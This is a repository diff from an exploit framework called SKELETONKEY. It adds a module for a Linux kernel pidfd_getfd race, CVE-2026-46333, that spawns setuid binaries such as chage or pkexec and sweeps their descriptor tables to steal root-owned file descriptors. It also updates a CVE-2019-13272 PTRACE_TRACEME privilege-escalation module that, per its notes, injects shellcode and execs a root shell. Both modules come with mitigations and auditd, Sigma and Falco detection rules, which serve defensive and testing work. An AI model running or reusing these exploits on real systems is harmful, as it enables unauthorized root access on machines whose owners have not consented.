||||
}
|
||||
|
||||
/* Candidate victims: setuid-root binaries (or setgid-shadow) that open
|
||||
* sensitive descriptors while privileged before settling. Qualys's PoCs
|
||||
* targeted chage / ssh-keysign / pkexec / accounts-daemon; we probe for
|
||||
* whichever exist with the setuid bit actually set. */
|
||||
static const char *find_setuid_victim(void)
|
||||
{
|
||||
static const char *targets[] = {
|
||||
"/usr/bin/chage", "/usr/bin/pkexec", "/usr/lib/openssh/ssh-keysign",
|
||||
"/usr/libexec/openssh/ssh-keysign", "/usr/bin/passwd",
|
||||
"/usr/bin/su", "/bin/su", NULL,
|
||||
};
|
||||
for (size_t i = 0; targets[i]; i++) {
|
||||
struct stat st;
|
||||
if (stat(targets[i], &st) == 0 && (st.st_mode & (S_ISUID | S_ISGID)))
|
||||
return targets[i];
|
||||
}
|
||||
return NULL;
|
||||
}
|
||||
|
||||
/* Benign, read-only invocation per victim so the spawned setuid process
|
||||
* does something harmless while we race its descriptor table. */
|
||||
static void exec_victim_benign(const char *victim, const char *self_user)
|
||||
{
|
||||
char *envp[] = {
|
||||
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin",
|
||||
NULL
|
||||
};
|
||||
if (strstr(victim, "chage")) {
|
||||
char *argv[] = { (char *)victim, "-l", (char *)self_user, NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else if (strstr(victim, "pkexec")) {
|
||||
char *argv[] = { (char *)victim, "--version", NULL };
|
||||
execve(victim, argv, envp);
|
||||
} else {
|
||||
/* ssh-keysign / passwd / su: --help or --version exits fast and
|
||||
* touches no state. */
|
||||
char *argv[] = { (char *)victim, "--help", NULL };
|
||||
execve(victim, argv, envp);
|
||||
}
|
||||
_exit(127); /* execve failed */
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
skeletonkey_result_t pre = ptrace_pidfd_detect(ctx);
|
||||
if (pre != SKELETONKEY_VULNERABLE) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_pidfd: already running as root — nothing to do\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
const char *victim = find_setuid_victim();
|
||||
if (!victim) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: no setuid victim binary present "
|
||||
"(looked for chage/pkexec/ssh-keysign/passwd/su)\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
struct passwd *pw = getpwuid(geteuid());
|
||||
const char *self_user = pw ? pw->pw_name : "root";
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: victim = %s\n", victim);
|
||||
|
||||
/* Spawn the victim. The parent (us, unprivileged) pidfd_open()s the
|
||||
* child and sweeps pidfd_getfd() across its descriptor table while it
|
||||
* transitions through its privileged window. On a PATCHED kernel
|
||||
* __ptrace_may_access denies us (EPERM) once the child is root +
|
||||
* non-dumpable; on a VULNERABLE kernel the stale window lets the
|
||||
* steal land. A captured fd whose owner is uid 0 while we are not is
|
||||
* the empirical witness that the bug fired. */
|
||||
pid_t child = fork();
|
||||
if (child < 0) { perror("fork"); return SKELETONKEY_TEST_ERROR; }
|
||||
if (child == 0) {
|
||||
/* Small delay so the parent has the pidfd open before we exec
|
||||
* into (and briefly become) the privileged image. */
|
||||
usleep(20 * 1000);
|
||||
exec_victim_benign(victim, self_user);
|
||||
_exit(127);
|
||||
}
|
||||
|
||||
int pidfd = sk_pidfd_open(child, 0);
|
||||
if (pidfd < 0) {
|
||||
if (errno == ENOSYS) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_open ENOSYS — kernel lacks "
|
||||
"the vector despite version check\n");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
perror("pidfd_open");
|
||||
int s; waitpid(child, &s, 0);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Tight steal loop across the victim's likely descriptor range during
|
||||
* its privileged window. We do not destroy anything: captured fds are
|
||||
* fstat()'d to fingerprint ownership, then closed. */
|
||||
int root_fds = 0, captured = 0;
|
||||
bool enosys = false;
|
||||
for (int round = 0; round < 200; round++) {
|
||||
for (int tfd = 0; tfd < 32; tfd++) {
|
||||
int got = sk_pidfd_getfd(pidfd, tfd, 0);
|
||||
if (got < 0) {
|
||||
if (errno == ENOSYS) { enosys = true; break; }
|
||||
continue; /* EPERM (patched / outside window) or EBADF */
|
||||
}
|
||||
captured++;
|
||||
struct stat st;
|
||||
if (fstat(got, &st) == 0 && st.st_uid == 0 && geteuid() != 0) {
|
||||
root_fds++;
|
||||
if (!ctx->json) {
|
||||
char lpath[64], target[256] = {0};
|
||||
snprintf(lpath, sizeof lpath, "/proc/self/fd/%d", got);
|
||||
ssize_t n = readlink(lpath, target, sizeof target - 1);
|
||||
if (n > 0) target[n] = 0;
|
||||
fprintf(stderr, "[+] ptrace_pidfd: WITNESS — captured root-owned "
|
||||
"fd from victim (uid0 %s mode %o)%s%s\n",
|
||||
(st.st_mode & S_IFMT) == S_IFREG ? "file" :
|
||||
(st.st_mode & S_IFMT) == S_IFSOCK ? "socket" : "fd",
|
||||
(unsigned)(st.st_mode & 07777),
|
||||
n > 0 ? " -> " : "", n > 0 ? target : "");
|
||||
}
|
||||
}
|
||||
close(got);
|
||||
}
|
||||
if (enosys) break;
|
||||
}
|
||||
|
||||
close(pidfd);
|
||||
int status; waitpid(child, &status, 0);
|
||||
|
||||
if (enosys) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: pidfd_getfd ENOSYS — vector unavailable\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
if (root_fds > 0) {
|
||||
/* The bug demonstrably fired: we, as a non-root user, pulled a
|
||||
* uid-0-owned descriptor out of the victim past the dumpable
|
||||
* boundary. We deliberately STOP here rather than fabricate a
|
||||
* root shell — turning a captured fd into root is target-specific
|
||||
* (which fd, writable vs. authenticated channel) and is not
|
||||
* bundled until VM-verified. Honest EXPLOIT_FAIL with the witness. */
|
||||
fprintf(stderr, "[!] ptrace_pidfd: primitive CONFIRMED — %d root-owned fd(s) "
|
||||
"captured from a non-root context (CVE-2026-46333 reachable).\n"
|
||||
"[i] ptrace_pidfd: full root-pop is target-specific and not yet "
|
||||
"VM-verified; not fabricating a shell. See module NOTICE.md.\n",
|
||||
root_fds);
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_pidfd: no root-owned fd captured across %d captures "
|
||||
"— primitive blocked (kernel likely patched, or the victim "
|
||||
"exposed no privileged fd in its window)\n", captured);
|
||||
}
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
|
||||
/* Mitigation: Yama ptrace_scope gates __ptrace_may_access(ATTACH), which
|
||||
* is the very check pidfd_getfd() rides — setting it to 2 (admin-only)
|
||||
* or 3 (no attach) closes the bundled vector without a reboot. Needs
|
||||
* root to write the sysctl; best-effort + honest report otherwise. The
|
||||
* real fix is the kernel patch. */
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) {
|
||||
if (errno == ENOENT) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Yama LSM not present (%s missing); "
|
||||
"no runtime mitigation — upgrade the kernel\n", path);
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[-] ptrace_pidfd: cannot open %s: %s "
|
||||
"(need root: `sudo sysctl kernel.yama.ptrace_scope=2`)\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
ssize_t w = write(fd, "2\n", 2);
|
||||
close(fd);
|
||||
if (w != 2) {
|
||||
fprintf(stderr, "[-] ptrace_pidfd: write to %s failed: %s\n",
|
||||
path, strerror(errno));
|
||||
return SKELETONKEY_EXPLOIT_FAIL;
|
||||
}
|
||||
fprintf(stderr, "[+] ptrace_pidfd: set kernel.yama.ptrace_scope=2 (admin-only "
|
||||
"ptrace/pidfd_getfd attach). Revert with `--cleanup ptrace_pidfd`. "
|
||||
"This is a stopgap; patch the kernel.\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
/* Undo --mitigate: restore the permissive default (1 = restricted
|
||||
* ptrace, the common distro default). Exploit itself leaves no file
|
||||
* artifacts (the steal is in-memory), so there is nothing else to
|
||||
* undo. */
|
||||
const char *path = "/proc/sys/kernel/yama/ptrace_scope";
|
||||
int fd = open(path, O_WRONLY);
|
||||
if (fd < 0) return SKELETONKEY_OK; /* nothing to restore */
|
||||
ssize_t w = write(fd, "1\n", 2);
|
||||
close(fd);
|
||||
if (!ctx->json && w == 2)
|
||||
fprintf(stderr, "[*] ptrace_pidfd: restored kernel.yama.ptrace_scope=1\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: pidfd_open / pidfd_getfd / Yama ptrace_scope are
|
||||
* Linux-only ABI. Stub out so the module still registers and the
|
||||
* top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_pidfd_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_pidfd: Linux-only module "
|
||||
"(pidfd_getfd cred-steal) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_pidfd: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_mitigate(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_pidfd_cleanup(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
/* Embedded detection rules — keep the binary self-contained. The
|
||||
* behavioural signal is pidfd_getfd(2) issued by a non-root process
|
||||
* against a setuid/privileged target. Legitimate users of pidfd_getfd
|
||||
* are rare and mostly root (container runtimes, debuggers) — a non-root
|
||||
* pidfd_getfd is a strong indicator. */
|
||||
static const char ptrace_pidfd_auditd[] =
|
||||
"# CVE-2026-46333 (ptrace/pidfd_getfd cred-steal) — auditd rules\n"
|
||||
"# pidfd_getfd by a non-root process is rare and high-signal. Also\n"
|
||||
"# watch the credential files a successful steal would target.\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_getfd -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-a always,exit -F arch=b64 -S pidfd_open -F auid>=1000 -F auid!=4294967295 -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/shadow -p wa -k skeletonkey-ptrace-pidfd\n"
|
||||
"-w /etc/passwd -p wa -k skeletonkey-ptrace-pidfd\n";
|
||||
|
||||
static const char ptrace_pidfd_sigma[] =
|
||||
"title: Possible CVE-2026-46333 pidfd_getfd credential-steal LPE\n"
|
||||
"id: 4d6f3e2a-skeletonkey-ptrace-pidfd\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects pidfd_getfd(2) issued by a non-root user. The CVE-2026-46333\n"
|
||||
" technique pidfd_open()s a transiently-privileged setuid process and\n"
|
||||
" pidfd_getfd()s descriptors it opened while root, past the dumpable\n"
|
||||
" boundary __ptrace_may_access should have enforced. False positives:\n"
|
||||
" privileged container runtimes / debuggers that legitimately use pidfd.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" getfd: {type: 'SYSCALL', syscall: 'pidfd_getfd'}\n"
|
||||
" non_root: {auid|expression: '>= 1000'}\n"
|
||||
" condition: getfd and non_root\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2026.46333]\n";
|
||||
|
||||
static const char ptrace_pidfd_falco[] =
|
||||
"- rule: pidfd_getfd from setuid victim by non-root (CVE-2026-46333)\n"
|
||||
" desc: |\n"
|
||||
" A non-root process calls pidfd_getfd() to pull a descriptor out of\n"
|
||||
" another process. The CVE-2026-46333 cred-steal races a setuid\n"
|
||||
" binary (chage, ssh-keysign, pkexec) or root daemon (accounts-daemon)\n"
|
||||
" as it drops privileges, stealing a root-opened fd or authenticated\n"
|
||||
" channel past the dumpable boundary. False positives: container\n"
|
||||
" runtimes / debuggers using pidfd as root.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = pidfd_getfd and not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" pidfd_getfd by non-root (possible CVE-2026-46333 fd-steal)\n"
|
||||
" (user=%user.name proc=%proc.name pid=%proc.pid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2026.46333]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_pidfd_module = {
|
||||
.name = "ptrace_pidfd",
|
||||
.cve = "CVE-2026-46333",
|
||||
.summary = "__ptrace_may_access dumpable race → pidfd_getfd steals root fds from a dropping-privilege process",
|
||||
.family = "ptrace_pidfd",
|
||||
.kernel_range = "5.6 <= K (pidfd_getfd vector); fixed 5.10.251 / 6.1.172 / 6.12.88 / 7.0.7 (Debian backports of the 2026-05-14 mainline fix)",
|
||||
.detect = ptrace_pidfd_detect,
|
||||
.exploit = ptrace_pidfd_exploit,
|
||||
.mitigate = ptrace_pidfd_mitigate,
|
||||
.cleanup = ptrace_pidfd_cleanup,
|
||||
.detect_auditd = ptrace_pidfd_auditd,
|
||||
.detect_sigma = ptrace_pidfd_sigma,
|
||||
.detect_yara = NULL, /* behavioural (syscall) bug — no file artifact to match */
|
||||
.detect_falco = ptrace_pidfd_falco,
|
||||
.opsec_notes = "Spawns a setuid victim (chage/pkexec/ssh-keysign/passwd/su) with a benign read-only argv, pidfd_open()s it, and sweeps pidfd_getfd() across its low descriptor table during the credential-drop window. Captured descriptors are fstat()'d to fingerprint ownership and closed (non-destructive); a uid-0-owned fd captured from a non-root context is the empirical witness that __ptrace_may_access let the steal through. Audit-visible via pidfd_getfd(2)/pidfd_open(2) issued by a non-root auid, typically clustered (tight retry loop) and immediately preceded by execve of a setuid binary. No file artifacts and no persistence — the steal is in-memory fd reuse. --mitigate writes kernel.yama.ptrace_scope=2; --cleanup restores it to 1. Arch-agnostic (no shellcode).",
|
||||
.arch_support = "any",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_pidfd(void)
|
||||
{
|
||||
skeletonkey_register(&ptrace_pidfd_module);
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
/*
|
||||
* ptrace_pidfd_cve_2026_46333 — SKELETONKEY module registry hook
|
||||
*/
|
||||
|
||||
#ifndef PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
#define PTRACE_PIDFD_SKELETONKEY_MODULES_H
|
||||
|
||||
#include "../../core/module.h"
|
||||
|
||||
extern const struct skeletonkey_module ptrace_pidfd_module;
|
||||
|
||||
#endif
|
||||
@@ -28,13 +28,17 @@
|
||||
|
||||
#include "skeletonkey_modules.h"
|
||||
#include "../../core/registry.h"
|
||||
#include "../../core/kernel_range.h"
|
||||
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdbool.h>
|
||||
#include <unistd.h>
|
||||
|
||||
#ifdef __linux__
|
||||
|
||||
#include "../../core/kernel_range.h"
|
||||
#include "../../core/host.h"
|
||||
#include <errno.h>
|
||||
#include <fcntl.h>
|
||||
#include <pwd.h>
|
||||
@@ -49,7 +53,7 @@ static const struct kernel_patched_from ptrace_traceme_patched_branches[] = {
|
||||
{4, 4, 182},
|
||||
{4, 9, 182},
|
||||
{4, 14, 131},
|
||||
{4, 19, 58},
|
||||
{4, 19, 37}, /* Debian tracker: earlier than 4.19.58 */
|
||||
{5, 0, 20},
|
||||
{5, 1, 17},
|
||||
{5, 2, 0}, /* mainline (5.2-rc) */
|
||||
@@ -63,32 +67,37 @@ static const struct kernel_range ptrace_traceme_range = {
|
||||
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
struct kernel_version v;
|
||||
if (!kernel_version_current(&v)) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: could not parse kernel version\n");
|
||||
/* Consult the shared host fingerprint instead of calling
|
||||
* kernel_version_current() ourselves — populated once at startup
|
||||
* and identical across every module's detect(). */
|
||||
const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL;
|
||||
if (!v || v->major == 0) {
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[!] ptrace_traceme: host fingerprint missing kernel "
|
||||
"version — bailing\n");
|
||||
return SKELETONKEY_TEST_ERROR;
|
||||
}
|
||||
|
||||
/* Bug existed since ptrace's inception (early 2.x); anything
|
||||
* pre-LTS-backport is vulnerable. Anything < 4.4 in our range
|
||||
* model defaults to vulnerable since no entry covers it. */
|
||||
if (v.major < 4 || (v.major == 4 && v.minor < 4)) {
|
||||
if (!skeletonkey_host_kernel_at_least(ctx->host, 4, 4, 0)) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: ancient kernel %s — assume VULNERABLE\n",
|
||||
v.release);
|
||||
v->release);
|
||||
}
|
||||
return SKELETONKEY_VULNERABLE;
|
||||
}
|
||||
|
||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, &v);
|
||||
bool patched = kernel_range_is_patched(&ptrace_traceme_range, v);
|
||||
if (patched) {
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v.release);
|
||||
fprintf(stderr, "[+] ptrace_traceme: kernel %s is patched\n", v->release);
|
||||
}
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
if (!ctx->json) {
|
||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v.release);
|
||||
fprintf(stderr, "[!] ptrace_traceme: kernel %s in vulnerable range\n", v->release);
|
||||
fprintf(stderr, "[i] ptrace_traceme: no exotic preconditions — works on default config "
|
||||
"(no user_ns required)\n");
|
||||
}
|
||||
@@ -183,7 +192,10 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
fprintf(stderr, "[-] ptrace_traceme: detect() says not vulnerable; refusing\n");
|
||||
return pre;
|
||||
}
|
||||
if (geteuid() == 0) {
|
||||
/* Consult ctx->host->is_root so unit tests can construct a
|
||||
* non-root fingerprint regardless of the test process's real euid. */
|
||||
bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0);
|
||||
if (is_root) {
|
||||
fprintf(stderr, "[i] ptrace_traceme: already root\n");
|
||||
return SKELETONKEY_OK;
|
||||
}
|
||||
@@ -277,6 +289,27 @@ static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx
|
||||
#endif
|
||||
}
|
||||
|
||||
#else /* !__linux__ */
|
||||
|
||||
/* Non-Linux dev builds: PTRACE_TRACEME / PTRACE_ATTACH / user_regs_struct
|
||||
* are Linux-only ABI surface. Stub out so the module still registers and
|
||||
* the top-level `make` completes on macOS/BSD dev boxes. */
|
||||
static skeletonkey_result_t ptrace_traceme_detect(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
if (!ctx->json)
|
||||
fprintf(stderr, "[i] ptrace_traceme: Linux-only module "
|
||||
"(PTRACE_TRACEME cred-escalation) — not applicable here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
static skeletonkey_result_t ptrace_traceme_exploit(const struct skeletonkey_ctx *ctx)
|
||||
{
|
||||
(void)ctx;
|
||||
fprintf(stderr, "[-] ptrace_traceme: Linux-only module — cannot run here\n");
|
||||
return SKELETONKEY_PRECOND_FAIL;
|
||||
}
|
||||
|
||||
#endif /* __linux__ */
|
||||
|
||||
static const char ptrace_traceme_auditd[] =
|
||||
"# PTRACE_TRACEME LPE (CVE-2019-13272) — auditd detection rules\n"
|
||||
"# Flag PTRACE_TRACEME (request 0) followed by parent execve of\n"
|
||||
@@ -284,6 +317,42 @@ static const char ptrace_traceme_auditd[] =
|
||||
"-a always,exit -F arch=b64 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n"
|
||||
"-a always,exit -F arch=b32 -S ptrace -F a0=0 -k skeletonkey-ptrace-traceme\n";
|
||||
|
||||
static const char ptrace_traceme_sigma[] =
|
||||
"title: Possible CVE-2019-13272 PTRACE_TRACEME stale-cred LPE\n"
|
||||
"id: 1a02c3a8-skeletonkey-ptrace-traceme\n"
|
||||
"status: experimental\n"
|
||||
"description: |\n"
|
||||
" Detects ptrace(PTRACE_TRACEME) immediately followed by parent\n"
|
||||
" execve of a setuid binary. The kernel stores the parent's pre-\n"
|
||||
" execve credentials on the ptrace_link; after execve the link\n"
|
||||
" is stale but ptrace still grants privileges. False positives:\n"
|
||||
" debuggers (gdb, strace) tracing setuid processes legitimately.\n"
|
||||
"logsource: {product: linux, service: auditd}\n"
|
||||
"detection:\n"
|
||||
" traceme: {type: 'SYSCALL', syscall: 'ptrace', a0: 0}\n"
|
||||
" execve: {type: 'SYSCALL', syscall: 'execve'}\n"
|
||||
" condition: traceme and execve\n"
|
||||
"level: high\n"
|
||||
"tags: [attack.privilege_escalation, attack.t1068, cve.2019.13272]\n";
|
||||
|
||||
static const char ptrace_traceme_falco[] =
|
||||
"- rule: PTRACE_TRACEME followed by setuid execve (cred escalation)\n"
|
||||
" desc: |\n"
|
||||
" Child calls ptrace(PTRACE_TRACEME) (recording parent's pre-\n"
|
||||
" execve creds); parent then execve's a setuid binary\n"
|
||||
" (pkexec, su, sudo). The stale ptrace_link grants the\n"
|
||||
" unprivileged child ptrace privileges over the now-root\n"
|
||||
" parent. CVE-2019-13272. False positives: debuggers (gdb,\n"
|
||||
" strace) tracing setuid processes legitimately.\n"
|
||||
" condition: >\n"
|
||||
" evt.type = ptrace and evt.arg.request = PTRACE_TRACEME and\n"
|
||||
" not user.uid = 0\n"
|
||||
" output: >\n"
|
||||
" PTRACE_TRACEME by non-root\n"
|
||||
" (user=%user.name pid=%proc.pid ppid=%proc.ppid)\n"
|
||||
" priority: HIGH\n"
|
||||
" tags: [process, mitre_privilege_escalation, T1068, cve.2019.13272]\n";
|
||||
|
||||
const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.name = "ptrace_traceme",
|
||||
.cve = "CVE-2019-13272",
|
||||
@@ -295,9 +364,11 @@ const struct skeletonkey_module ptrace_traceme_module = {
|
||||
.mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.yama.ptrace_scope=2 */
|
||||
.cleanup = NULL, /* exploit replaces our process image; no cleanup applies */
|
||||
.detect_auditd = ptrace_traceme_auditd,
|
||||
.detect_sigma = NULL,
|
||||
.detect_sigma = ptrace_traceme_sigma,
|
||||
.detect_yara = NULL,
|
||||
.detect_falco = NULL,
|
||||
.detect_falco = ptrace_traceme_falco,
|
||||
.opsec_notes = "Parent and child cooperate: child calls ptrace(PTRACE_TRACEME) (recording the parent's current credentials), then sleeps; parent execve's a setuid binary (pkexec or su) and elevates. The stale ptrace_link in the child still holds the old (non-root) credentials, so PTRACE_ATTACH succeeds against the now-root parent; the child injects shellcode at the parent's RIP via PTRACE_POKETEXT and detaches. Audit-visible via ptrace with a0=0 (PTRACE_TRACEME) closely followed by execve of a setuid binary in the parent process. No file artifacts; no persistent changes. No cleanup callback - the exploit execs /bin/sh and does not return.",
|
||||
.arch_support = "x86_64+unverified-arm64",
|
||||
};
|
||||
|
||||
void skeletonkey_register_ptrace_traceme(void)
|
||||
|
||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user